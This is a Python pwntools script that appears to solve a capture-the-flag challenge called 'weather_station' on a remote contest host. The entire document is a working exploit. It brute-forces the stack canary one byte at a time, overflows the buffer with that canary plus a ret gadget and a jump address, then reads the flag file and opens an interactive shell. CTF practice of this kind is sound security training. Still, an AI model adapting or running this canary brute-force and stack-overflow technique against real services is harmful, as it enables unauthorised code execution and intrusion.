#!/usr/bin/env python3
from pwn import *
import time

context.binary = elf = ELF('./weather_station', checksec=False)

p = process(elf.path)

HOST, PORT = 'offsec.m0lecon.it', 13559
#HOST, PORT = '127.0.0.1', 5555
OFFSET_TO_CANARY = 56
#
#OFFSET_TO_RIP = OFFSET_TO_CANARY + 8 + 8

known = b"\x00"

for i in range(7):
    for bval in range(256):
        guess = known + bytes([bval])
        payload = b"A" * OFFSET_TO_CANARY + guess

        io = remote(HOST, PORT, level='error')
        io.recvuntil(b'location: ')
        io.sendline(b"Safe")
        io.recvuntil(b'query: ')
        io.send(payload)

        try:
            data = io.recv(timeout=0.2)
        except EOFError:
            data = b""
        io.close()
        if b"Forecast sent!" in data:
            known = guess
            log.success(f"byte {i+1}: {bval:02x}")
            break

canary = u64(known)

log.info(f"Canary: {canary:#x}")


io = remote(HOST, PORT, level='error')
io.recvuntil(b'location: ')
io.sendline(b"Safe")
io.recvuntil(b'query: ')

payload = flat(
    b'A' * OFFSET_TO_CANARY,
    p64(canary),
    b'B' * 8,
    p64(0x000000000040101a),
    p64(0x0000000000401530),
)
io.send(payload)
print(io.recvline())
print(io.sendline(b'cat /home/user/flag'))
io.interactive()
